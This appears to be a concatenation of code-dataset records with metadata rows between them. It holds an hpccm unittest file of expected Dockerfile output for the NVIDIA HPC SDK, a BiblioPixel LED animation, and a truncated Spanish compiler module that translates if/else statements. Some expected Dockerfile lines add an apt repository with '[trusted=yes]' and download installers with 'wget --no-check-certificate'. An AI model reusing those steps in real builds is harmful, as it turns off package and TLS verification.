from hpccm.building_blocks.nvhpc import nvhpc
class Test_nvhpc(unittest.TestCase):
def setUp(self):
"""Disable logging output messages"""
logging.disable(logging.ERROR)
@x86_64
@ubuntu
@docker
def test_defaults_ubuntu(self):
"""Default HPC SDK building block"""
n = nvhpc(eula=True)
self.assertMultiLineEqual(str(n),
r'''# NVIDIA HPC SDK version 22.2
RUN apt-get update -y && \
DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends \
ca-certificates && \
rm -rf /var/lib/apt/lists/*
RUN echo "deb [trusted=yes] https://developer.download.nvidia.com/hpc-sdk/ubuntu/amd64 /" >> /etc/apt/sources.list.d/hpccm.list && \
apt-get update -y && \
DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends \
nvhpc-22-2-cuda-multi && \
rm -rf /var/lib/apt/lists/*
ENV CPATH=/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/comm_libs/nvshmem/include:/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/comm_libs/nccl/include:/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/compilers/extras/qd/include/qd:/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/math_libs/include:/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/comm_libs/mpi/include:$CPATH \
LD_LIBRARY_PATH=/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/comm_libs/nvshmem/lib:/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/comm_libs/nccl/lib:/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/math_libs/lib64:/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/compilers/lib:/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/cuda/lib64:/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/comm_libs/mpi/lib:$LD_LIBRARY_PATH \
MANPATH=/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/compilers/man:$MANPATH \
PATH=/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/comm_libs/nvshmem/bin:/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/comm_libs/nccl/bin:/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/profilers/bin:/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/compilers/bin:/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/cuda/bin:/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/comm_libs/mpi/bin:$PATH''')
@x86_64
@centos
@docker
def test_defaults_centos(self):
"""Default HPC SDK building block"""
n = nvhpc(eula=True)
self.assertMultiLineEqual(str(n),
r'''# NVIDIA HPC SDK version 22.2
RUN yum install -y \
ca-certificates && \
rm -rf /var/cache/yum/*
RUN yum install -y yum-utils && \
yum-config-manager --add-repo https://developer.download.nvidia.com/hpc-sdk/rhel/nvhpc.repo && \
yum install -y \
nvhpc-cuda-multi-22.2 && \
rm -rf /var/cache/yum/*
ENV CPATH=/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/comm_libs/nvshmem/include:/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/comm_libs/nccl/include:/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/compilers/extras/qd/include/qd:/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/math_libs/include:/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/comm_libs/mpi/include:$CPATH \
LD_LIBRARY_PATH=/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/comm_libs/nvshmem/lib:/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/comm_libs/nccl/lib:/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/math_libs/lib64:/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/compilers/lib:/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/cuda/lib64:/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/comm_libs/mpi/lib:$LD_LIBRARY_PATH \
MANPATH=/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/compilers/man:$MANPATH \
PATH=/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/comm_libs/nvshmem/bin:/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/comm_libs/nccl/bin:/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/profilers/bin:/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/compilers/bin:/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/cuda/bin:/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/comm_libs/mpi/bin:$PATH''')
@x86_64
@centos
@docker
def test_package_centos(self):
"""Local package"""
n = nvhpc(eula=True,
package='nvhpc_2020_207_Linux_x86_64_cuda_multi.tar.gz')
self.assertMultiLineEqual(str(n),
r'''# NVIDIA HPC SDK version 20.7
COPY nvhpc_2020_207_Linux_x86_64_cuda_multi.tar.gz /var/tmp/nvhpc_2020_207_Linux_x86_64_cuda_multi.tar.gz
RUN yum install -y \
bc \
gcc \
gcc-c++ \
gcc-gfortran \
libatomic \
numactl-libs \
openssh-clients \
wget \
which && \
rm -rf /var/cache/yum/*
RUN mkdir -p /var/tmp && tar -x -f /var/tmp/nvhpc_2020_207_Linux_x86_64_cuda_multi.tar.gz -C /var/tmp -z && \
cd /var/tmp/nvhpc_2020_207_Linux_x86_64_cuda_multi && NVHPC_ACCEPT_EULA=accept NVHPC_INSTALL_DIR=/opt/nvidia/hpc_sdk NVHPC_SILENT=true ./install && \
rm -rf /var/tmp/nvhpc_2020_207_Linux_x86_64_cuda_multi /var/tmp/nvhpc_2020_207_Linux_x86_64_cuda_multi.tar.gz
ENV CPATH=/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/comm_libs/nvshmem/include:/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/comm_libs/nccl/include:/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/compilers/extras/qd/include/qd:/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/math_libs/include:/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/comm_libs/mpi/include:$CPATH \
LD_LIBRARY_PATH=/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/comm_libs/nvshmem/lib:/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/comm_libs/nccl/lib:/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/math_libs/lib64:/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/compilers/lib:/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/cuda/lib64:/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/comm_libs/mpi/lib:$LD_LIBRARY_PATH \
MANPATH=/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/compilers/man:$MANPATH \
PATH=/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/comm_libs/nvshmem/bin:/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/comm_libs/nccl/bin:/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/profilers/bin:/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/compilers/bin:/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/cuda/bin:/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/comm_libs/mpi/bin:$PATH''')
@x86_64
@centos
@docker
def test_extended_environment(self):
"""Extended environment"""
n = nvhpc(eula=True, extended_environment=True,
package='nvhpc_2020_207_Linux_x86_64_cuda_multi.tar.gz')
self.assertMultiLineEqual(str(n),
r'''# NVIDIA HPC SDK version 20.7
COPY nvhpc_2020_207_Linux_x86_64_cuda_multi.tar.gz /var/tmp/nvhpc_2020_207_Linux_x86_64_cuda_multi.tar.gz
RUN yum install -y \
bc \
gcc \
gcc-c++ \
gcc-gfortran \
libatomic \
numactl-libs \
openssh-clients \
wget \
which && \
rm -rf /var/cache/yum/*
RUN mkdir -p /var/tmp && tar -x -f /var/tmp/nvhpc_2020_207_Linux_x86_64_cuda_multi.tar.gz -C /var/tmp -z && \
cd /var/tmp/nvhpc_2020_207_Linux_x86_64_cuda_multi && NVHPC_ACCEPT_EULA=accept NVHPC_INSTALL_DIR=/opt/nvidia/hpc_sdk NVHPC_SILENT=true ./install && \
rm -rf /var/tmp/nvhpc_2020_207_Linux_x86_64_cuda_multi /var/tmp/nvhpc_2020_207_Linux_x86_64_cuda_multi.tar.gz
ENV CC=/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/compilers/bin/nvc \
CPATH=/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/comm_libs/nvshmem/include:/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/comm_libs/nccl/include:/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/compilers/extras/qd/include/qd:/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/math_libs/include:/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/comm_libs/mpi/include:$CPATH \
CPP=cpp \
CXX=/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/compilers/bin/nvc++ \
F77=/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/compilers/bin/nvfortran \
F90=/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/compilers/bin/nvfortran \
FC=/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/compilers/bin/nvfortran \
LD_LIBRARY_PATH=/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/comm_libs/nvshmem/lib:/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/comm_libs/nccl/lib:/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/math_libs/lib64:/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/compilers/lib:/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/cuda/lib64:/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/comm_libs/mpi/lib:$LD_LIBRARY_PATH \
MANPATH=/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/compilers/man:$MANPATH \
PATH=/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/comm_libs/nvshmem/bin:/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/comm_libs/nccl/bin:/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/profilers/bin:/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/compilers/bin:/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/cuda/bin:/opt/nvidia/hpc_sdk/Linux_x86_64/20.7/comm_libs/mpi/bin:$PATH''')
@aarch64
@ubuntu
@docker
def test_aarch64(self):
"""Default HPC SDK building block on aarch64"""
n = nvhpc(cuda_multi=False, eula=True, version='21.2', tarball=True)
self.assertMultiLineEqual(str(n),
r'''# NVIDIA HPC SDK version 21.2
RUN apt-get update -y && \
DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends \
bc \
debianutils \
g++ \
gcc \
gfortran \
libatomic1 \
libnuma1 \
openssh-client \
wget && \
rm -rf /var/lib/apt/lists/*
RUN mkdir -p /var/tmp && wget -q -nc --no-check-certificate -P /var/tmp https://developer.download.nvidia.com/hpc-sdk/21.2/nvhpc_2021_212_Linux_aarch64_cuda_11.2.tar.gz && \
mkdir -p /var/tmp && tar -x -f /var/tmp/nvhpc_2021_212_Linux_aarch64_cuda_11.2.tar.gz -C /var/tmp -z && \
cd /var/tmp/nvhpc_2021_212_Linux_aarch64_cuda_11.2 && NVHPC_ACCEPT_EULA=accept NVHPC_INSTALL_DIR=/opt/nvidia/hpc_sdk NVHPC_SILENT=true ./install && \
rm -rf /var/tmp/nvhpc_2021_212_Linux_aarch64_cuda_11.2 /var/tmp/nvhpc_2021_212_Linux_aarch64_cuda_11.2.tar.gz
ENV CPATH=/opt/nvidia/hpc_sdk/Linux_aarch64/21.2/comm_libs/nvshmem/include:/opt/nvidia/hpc_sdk/Linux_aarch64/21.2/comm_libs/nccl/include:/opt/nvidia/hpc_sdk/Linux_aarch64/21.2/compilers/extras/qd/include/qd:/opt/nvidia/hpc_sdk/Linux_aarch64/21.2/math_libs/include:/opt/nvidia/hpc_sdk/Linux_aarch64/21.2/comm_libs/mpi/include:$CPATH \
LD_LIBRARY_PATH=/opt/nvidia/hpc_sdk/Linux_aarch64/21.2/comm_libs/nvshmem/lib:/opt/nvidia/hpc_sdk/Linux_aarch64/21.2/comm_libs/nccl/lib:/opt/nvidia/hpc_sdk/Linux_aarch64/21.2/math_libs/lib64:/opt/nvidia/hpc_sdk/Linux_aarch64/21.2/compilers/lib:/opt/nvidia/hpc_sdk/Linux_aarch64/21.2/cuda/lib64:/opt/nvidia/hpc_sdk/Linux_aarch64/21.2/comm_libs/mpi/lib:$LD_LIBRARY_PATH \
MANPATH=/opt/nvidia/hpc_sdk/Linux_aarch64/21.2/compilers/man:$MANPATH \
PATH=/opt/nvidia/hpc_sdk/Linux_aarch64/21.2/comm_libs/nvshmem/bin:/opt/nvidia/hpc_sdk/Linux_aarch64/21.2/comm_libs/nccl/bin:/opt/nvidia/hpc_sdk/Linux_aarch64/21.2/profilers/bin:/opt/nvidia/hpc_sdk/Linux_aarch64/21.2/compilers/bin:/opt/nvidia/hpc_sdk/Linux_aarch64/21.2/cuda/bin:/opt/nvidia/hpc_sdk/Linux_aarch64/21.2/comm_libs/mpi/bin:$PATH''')
@ppc64le
@ubuntu
@docker
def test_ppc64le(self):
"""Default HPC SDK building block on ppc64le"""
n = nvhpc(eula=True, cuda_multi=False, cuda='11.0', version='20.7',
tarball=True)
self.assertMultiLineEqual(str(n),
r'''# NVIDIA HPC SDK version 20.7
RUN apt-get update -y && \
DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends \
bc \
debianutils \
g++ \
gcc \
gfortran \
libatomic1 \
libnuma1 \
openssh-client \
wget && \
rm -rf /var/lib/apt/lists/*
RUN mkdir -p /var/tmp && wget -q -nc --no-check-certificate -P /var/tmp https://developer.download.nvidia.com/hpc-sdk/20.7/nvhpc_2020_207_Linux_ppc64le_cuda_11.0.tar.gz && \
mkdir -p /var/tmp && tar -x -f /var/tmp/nvhpc_2020_207_Linux_ppc64le_cuda_11.0.tar.gz -C /var/tmp -z && \
cd /var/tmp/nvhpc_2020_207_Linux_ppc64le_cuda_11.0 && NVHPC_ACCEPT_EULA=accept NVHPC_DEFAULT_CUDA=11.0 NVHPC_INSTALL_DIR=/opt/nvidia/hpc_sdk NVHPC_SILENT=true ./install && \
rm -rf /var/tmp/nvhpc_2020_207_Linux_ppc64le_cuda_11.0 /var/tmp/nvhpc_2020_207_Linux_ppc64le_cuda_11.0.tar.gz
ENV CPATH=/opt/nvidia/hpc_sdk/Linux_ppc64le/20.7/comm_libs/nvshmem/include:/opt/nvidia/hpc_sdk/Linux_ppc64le/20.7/comm_libs/nccl/include:/opt/nvidia/hpc_sdk/Linux_ppc64le/20.7/compilers/extras/qd/include/qd:/opt/nvidia/hpc_sdk/Linux_ppc64le/20.7/math_libs/include:/opt/nvidia/hpc_sdk/Linux_ppc64le/20.7/comm_libs/mpi/include:$CPATH \
LD_LIBRARY_PATH=/opt/nvidia/hpc_sdk/Linux_ppc64le/20.7/comm_libs/nvshmem/lib:/opt/nvidia/hpc_sdk/Linux_ppc64le/20.7/comm_libs/nccl/lib:/opt/nvidia/hpc_sdk/Linux_ppc64le/20.7/math_libs/lib64:/opt/nvidia/hpc_sdk/Linux_ppc64le/20.7/compilers/lib:/opt/nvidia/hpc_sdk/Linux_ppc64le/20.7/cuda/lib64:/opt/nvidia/hpc_sdk/Linux_ppc64le/20.7/comm_libs/mpi/lib:$LD_LIBRARY_PATH \
MANPATH=/opt/nvidia/hpc_sdk/Linux_ppc64le/20.7/compilers/man:$MANPATH \
PATH=/opt/nvidia/hpc_sdk/Linux_ppc64le/20.7/comm_libs/nvshmem/bin:/opt/nvidia/hpc_sdk/Linux_ppc64le/20.7/comm_libs/nccl/bin:/opt/nvidia/hpc_sdk/Linux_ppc64le/20.7/profilers/bin:/opt/nvidia/hpc_sdk/Linux_ppc64le/20.7/compilers/bin:/opt/nvidia/hpc_sdk/Linux_ppc64le/20.7/cuda/bin:/opt/nvidia/hpc_sdk/Linux_ppc64le/20.7/comm_libs/mpi/bin:$PATH''')
@x86_64
@ubuntu
@docker
def test_runtime_ubuntu(self):
"""Runtime"""
n = nvhpc(eula=True, redist=['compilers/lib/*'])
r = n.runtime()
self.assertMultiLineEqual(r,
r'''# NVIDIA HPC SDK
RUN apt-get update -y && \
DEBIAN_FRONTEND=noninteractive apt-get install -y --no-install-recommends \
libatomic1 \
libnuma1 \
openssh-client && \
rm -rf /var/lib/apt/lists/*
COPY --from=0 /opt/nvidia/hpc_sdk/Linux_x86_64/22.2/REDIST/compilers/lib/* /opt/nvidia/hpc_sdk/Linux_x86_64/22.2/compilers/lib/
COPY --from=0 /opt/nvidia/hpc_sdk/Linux_x86_64/22.2/comm_libs/mpi /opt/nvidia/hpc_sdk/Linux_x86_64/22.2/comm_libs/mpi
ENV LD_LIBRARY_PATH=/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/comm_libs/mpi/lib:/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/compilers/lib:$LD_LIBRARY_PATH \
PATH=/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/comm_libs/mpi/bin:$PATH''')
@x86_64
@centos
@docker
def test_runtime_centos(self):
"""Runtime"""
n = nvhpc(eula=True, mpi=False,
redist=['comm_libs/11.0/nccl/lib/libnccl.so',
'compilers/lib/*',
'math_libs/11.0/lib64/libcufft.so.10',
'math_libs/11.0/lib64/libcublas.so.11'])
r = n.runtime()
self.assertMultiLineEqual(r,
r'''# NVIDIA HPC SDK
RUN yum install -y \
libatomic \
numactl-libs \
openssh-clients && \
rm -rf /var/cache/yum/*
COPY --from=0 /opt/nvidia/hpc_sdk/Linux_x86_64/22.2/REDIST/comm_libs/11.0/nccl/lib/libnccl.so /opt/nvidia/hpc_sdk/Linux_x86_64/22.2/comm_libs/11.0/nccl/lib/libnccl.so
COPY --from=0 /opt/nvidia/hpc_sdk/Linux_x86_64/22.2/REDIST/compilers/lib/* /opt/nvidia/hpc_sdk/Linux_x86_64/22.2/compilers/lib/
COPY --from=0 /opt/nvidia/hpc_sdk/Linux_x86_64/22.2/REDIST/math_libs/11.0/lib64/libcufft.so.10 /opt/nvidia/hpc_sdk/Linux_x86_64/22.2/math_libs/11.0/lib64/libcufft.so.10
COPY --from=0 /opt/nvidia/hpc_sdk/Linux_x86_64/22.2/REDIST/math_libs/11.0/lib64/libcublas.so.11 /opt/nvidia/hpc_sdk/Linux_x86_64/22.2/math_libs/11.0/lib64/libcublas.so.11
ENV LD_LIBRARY_PATH=/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/comm_libs/11.0/nccl/lib:/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/compilers/lib:/opt/nvidia/hpc_sdk/Linux_x86_64/22.2/math_libs/11.0/lib64:$LD_LIBRARY_PATH''')
def test_toolchain(self):
"""Toolchain"""
n = nvhpc()
tc = n.toolchain
self.assertEqual(tc.CC, 'nvc')
self.assertEqual(tc.CXX, 'nvc++')
self.assertEqual(tc.FC, 'nvfortran')
self.assertEqual(tc.F77, 'nvfortran')
self.assertEqual(tc.F90, 'nvfortran')
| 64.841897
| 372
| 0.732825
| 2,879
| 16,405
| 3.934005
| 0.085446
| 0.079993
| 0.15151
| 0.178792
| 0.852463
| 0.842045
| 0.828448
| 0.814409
| 0.803373
| 0.763288
| 0
| 0.09135
| 0.120512
| 16,405
| 252
| 373
| 65.099206
| 0.693651
| 0.058275
| 0
| 0.536585
| 0
| 0
| 0.108194
| 0.077566
| 0
| 0
| 0
| 0
| 0.158537
| 1
| 0.121951
| false
| 0
| 0.073171
| 0
| 0.207317
| 0.012195
| 0
| 0
| 0
| null | 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
7d3e30e0e82a5f69f7dde13b4e8bd334313cbfd5
| 3,381
|
py
|
Python
|
BiblioPixelAnimations/circle/hyperspace.py
|
jessicaengel451/BiblioPixelAnimations
|
37570003ff3460f23cd33bd30625611fdc6e9228
|
[
"MIT"
] | 36
|
2015-01-19T00:20:49.000Z
|
2021-12-05T13:45:27.000Z
|
BiblioPixelAnimations/circle/hyperspace.py
|
jessicaengel451/BiblioPixelAnimations
|
37570003ff3460f23cd33bd30625611fdc6e9228
|
[
"MIT"
] | 29
|
2015-04-28T21:14:08.000Z
|
2019-04-10T15:33:47.000Z
|
BiblioPixelAnimations/circle/hyperspace.py
|
jessicaengel451/BiblioPixelAnimations
|
37570003ff3460f23cd33bd30625611fdc6e9228
|
[
"MIT"
] | 32
|
2015-01-02T13:20:33.000Z
|
2021-02-08T03:15:59.000Z
|
from bibliopixel.animation.circle import Circle
from bibliopixel.colors import COLORS
from bibliopixel.colors.arithmetic import color_scale
import random
class Hyperspace(Circle):
COLOR_DEFAULTS = ('colors', [COLORS.Green]),
def __init__(self, layout, tail=4, growthRate=4, angleDiff=6, **kwds):
super().__init__(layout, **kwds)
self._tail = tail
self._tails = [[] for x in range(360)]
self._growthRate = growthRate
self._angleDiff = angleDiff
def pre_run(self):
self._step = 0
def _drawTail(self, angle, ring, color):
for i in range(self._tail):
if ring - i >= 0 and ring - i <= self.lastRing:
level = 255 - ((255 // self._tail) * i)
self.layout.set(ring - i, angle, color_scale(color, level))
def step(self, amt=1):
self.layout.all_off()
for i in range(self._growthRate):
newTail = random.randrange(0, 360, self._angleDiff)
color = random.choice(self.palette)
self._tails[newTail].append((0, color))
for a in range(360):
angle = self._tails[a]
if len(angle) > 0:
removals = []
for r in range(len(angle)):
tail = angle[r]
if tail[0] <= self.lastRing:
self._drawTail(a, tail[0], tail[1])
if tail[0] - (self._tail - 1) <= self.lastRing:
tail = (tail[0] + amt, tail[1])
self._tails[a][r] = tail
else:
removals.append(tail)
for r in removals:
self._tails[a].remove(r)
self._step = 0
class HyperspaceRainbow(Circle):
def __init__(self, layout, tail=4, growthRate=4, angleDiff=6, **kwds):
super().__init__(layout, **kwds)
self._tail = tail
self._tails = [[] for x in range(360)]
self._growthRate = growthRate
self._angleDiff = angleDiff
def pre_run(self):
self._step = 0
def _drawTail(self, angle, ring, color):
for i in range(self._tail):
if ring - i >= 0 and ring - i <= self.lastRing:
level = 255 - ((255 // self._tail) * i)
self.layout.set(ring - i, angle, color_scale(color, level))
def step(self, amt=1):
self.layout.all_off()
for i in range(self._growthRate):
newTail = random.randrange(0, 360, self._angleDiff)
self._tails[newTail].append(0)
for a in range(360):
angle = self._tails[a]
if len(angle) > 0:
removals = []
for r in range(len(angle)):
tail = angle[r]
if tail <= self.lastRing:
c = self.palette.get(tail * (255 // self.lastRing))
self._drawTail(a, tail, c)
if tail - (self._tail - 1) <= self.lastRing:
tail = tail + amt
self._tails[a][r] = tail
else:
removals.append(tail)
for r in removals:
self._tails[a].remove(r)
self._step = 0
| 34.85567
| 76
| 0.490683
| 382
| 3,381
| 4.191099
| 0.164921
| 0.056215
| 0.037477
| 0.027483
| 0.804497
| 0.775765
| 0.739538
| 0.70331
| 0.70331
| 0.70331
| 0
| 0.029843
| 0.395445
| 3,381
| 96
| 77
| 35.21875
| 0.753425
| 0
| 0
| 0.753247
| 0
| 0
| 0.001826
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0.103896
| false
| 0
| 0.051948
| 0
| 0.194805
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 1
| 1
| 1
| 1
| 1
| 1
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 1
| 0
| 0
| 0
| 0
| null | 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
| 0
|
0
| 7
|
70b6afa26d0dd6466e179d805d4247d1bd6635fa
| 11,356
|
py
|
Python
|
parser/fase2/team07/Tytus_SQLPARSER_G8/Instrucciones/plpgsql/condicional_if.py
|
Josue-Zea/tytus
|
f9e4be9a8c03eb698fade7a748972e4f52d46685
|
[
"MIT"
] | 35
|
2020-12-07T03:11:43.000Z
|
2021-04-15T17:38:16.000Z
|
parser/fase2/team07/Tytus_SQLPARSER_G8/Instrucciones/plpgsql/condicional_if.py
|
Josue-Zea/tytus
|
f9e4be9a8c03eb698fade7a748972e4f52d46685
|
[
"MIT"
] | 47
|
2020-12-09T01:29:09.000Z
|
2021-01-13T05:37:50.000Z
|
parser/fase2/team07/Tytus_SQLPARSER_G8/Instrucciones/plpgsql/condicional_if.py
|
Josue-Zea/tytus
|
f9e4be9a8c03eb698fade7a748972e4f52d46685
|
[
"MIT"
] | 556
|
2020-12-07T03:13:31.000Z
|
2021-06-17T17:41:10.000Z
|
from Instrucciones.TablaSimbolos.Instruccion import Instruccion
from Instrucciones.TablaSimbolos.Tipo import Tipo_Dato
from Instrucciones.Excepcion import Excepcion
class If(Instruccion):
'''
Esta clase representa la instrucción if.
La instrucción if recibe como parámetro una expresión lógica y la lista
de instrucciones a ejecutar si la expresión lógica es verdadera.
'''
def __init__(self,expLogica,instrucciones,strGram, linea, columna, strSent):
Instruccion.__init__(self,None,linea,columna,strGram,strSent)
self.expLogica = expLogica
self.instrucciones = instrucciones
def ejecutar(self, tabla, arbol):
pass
def traducir(self, tabla, arbol,cadenaTraducida):
#Si existe algun error en la expresion logica se devuelve el error
expresion_logica = self.expLogica.traducir(tabla, arbol,cadenaTraducida)
if isinstance(expresion_logica, Excepcion):
return expresion_logica
if expresion_logica.tipo.tipo == Tipo_Dato.BOOLEAN or expresion_logica.tipo.tipo == Tipo_Dato.ID:
#Inicia traduccion
codigo = expresion_logica.codigo
codigo += "\tlabel " + expresion_logica.etiquetaV.replace(":","") + "\n"
for i in self.instrucciones:
instruccion_if = i.traducir(tabla, arbol,cadenaTraducida)
if isinstance(instruccion_if, Excepcion):
return instruccion_if
codigo += instruccion_if
if cadenaTraducida == "":
codigo += "\tlabel " + expresion_logica.etiquetaF.replace(":","") + "\n"
else:
#cadenaTraducida traera la etiqueta de salida si es un elsif
codigo += "\tgoto " + cadenaTraducida + "\n"
codigo += "\tlabel " + expresion_logica.etiquetaF.replace(":","") + "\n"
return codigo
# ...
# if temporal_logico:
# goto L1
# goto L2
# label L1
# instrucciones_if
# label L2
# ...
else:
error = Excepcion('42804',"Semántico","La expresion logica debe ser de tipo boolean",self.linea,self.columna)
arbol.excepciones.append(error)
arbol.consola.append(error.toString())
return error
class Ifelse(Instruccion):
'''
Esta clase representa la instrucción if else.
La instrucción if else recibe como parámetro una expresión lógica y las listas
de instrucciones a ejecutar si la expresión lógica es verdadera o falsa.
'''
def __init__(self,expLogica,instrIfVerdadero,instrIfFalso,strGram, linea, columna, strSent):
Instruccion.__init__(self,None,linea,columna,strGram,strSent)
self.expLogica = expLogica
self.instrIfVerdadero = instrIfVerdadero
self.instrIfFalso = instrIfFalso
def ejecutar(self, tabla, arbol):
pass
def traducir(self, tabla, arbol,cadenaTraducida):
#Si existe algun error en la expresion logica se devuelve el error
expresion_logica = self.expLogica.traducir(tabla, arbol,cadenaTraducida)
if isinstance(expresion_logica, Excepcion):
return expresion_logica
if expresion_logica.tipo.tipo == Tipo_Dato.BOOLEAN or expresion_logica.tipo.tipo == Tipo_Dato.ID:
#Inicia traduccion
codigo = expresion_logica.codigo
etiquetaSalida = arbol.generaEtiqueta()
codigo += "\tlabel " + expresion_logica.etiquetaF.replace(":","") + "\n"
for inst in self.instrIfFalso:
instruccion_ifFalso = inst.traducir(tabla, arbol,cadenaTraducida)
if isinstance(instruccion_ifFalso, Excepcion):
return instruccion_ifFalso
codigo += instruccion_ifFalso
codigo += "\tgoto ." + etiquetaSalida + "\n"
codigo += "\tlabel " + expresion_logica.etiquetaV.replace(":","") + "\n"
for i in self.instrIfVerdadero:
instruccion_if = i.traducir(tabla, arbol,cadenaTraducida)
if isinstance(instruccion_if, Excepcion):
return instruccion_if
codigo += instruccion_if
codigo += "\tlabel ." + etiquetaSalida + "\n"
return codigo
# ...
# if temporal_logico
# goto L1
# goto L2
# label L2
# instrucciones_ifFalso
# goto L3
# label L1
# instrucciones_if
# label L3
# ...
else:
error = Excepcion('42804',"Semántico","La expresion logica debe ser de tipo boolean",self.linea,self.columna)
arbol.excepciones.append(error)
arbol.consola.append(error.toString())
return error
class IfElseIf(Instruccion):
'''
Esta clase representa la instrucción if elseif.
La instrucción if elseif recibe como parámetro una expresión lógica principal y la lista
de instrucciones, asi como una lista de elseif que contienen respectiva expresion logica e instrucciones
a ejecutar.
'''
def __init__(self,expLogica,instrIfVerdadero,l_elseif,strGram, linea, columna, strSent):
Instruccion.__init__(self,None,linea,columna,strGram,strSent)
self.expLogica = expLogica
self.instrIfVerdadero = instrIfVerdadero
self.l_elseif = l_elseif
def ejecutar(self, tabla, arbol):
pass
def traducir(self, tabla, arbol,cadenaTraducida):
#Si existe algun error en la expresion logica se devuelve el error
expresion_logica = self.expLogica.traducir(tabla, arbol,cadenaTraducida)
if isinstance(expresion_logica, Excepcion):
return expresion_logica
if expresion_logica.tipo.tipo == Tipo_Dato.BOOLEAN or expresion_logica.tipo.tipo == Tipo_Dato.ID:
#Inicia traduccion
etiquetaSalida = arbol.generaEtiqueta()
codigo = expresion_logica.codigo
codigo += "\tlabel " + expresion_logica.etiquetaF.replace(":","") + "\n"
#Sentencias elseif
for s_if in self.l_elseif:
sentencia_if = s_if.traducir(tabla,arbol,etiquetaSalida)
if isinstance(sentencia_if, Excepcion):
return sentencia_if
codigo += sentencia_if
#Label si el primer if es verdadero
codigo += "\tgoto " + etiquetaSalida + "\n"
codigo += "\tlabel " + expresion_logica.etiquetaV.replace(":","") + "\n"
#instrucciones if principal
for i in self.instrIfVerdadero:
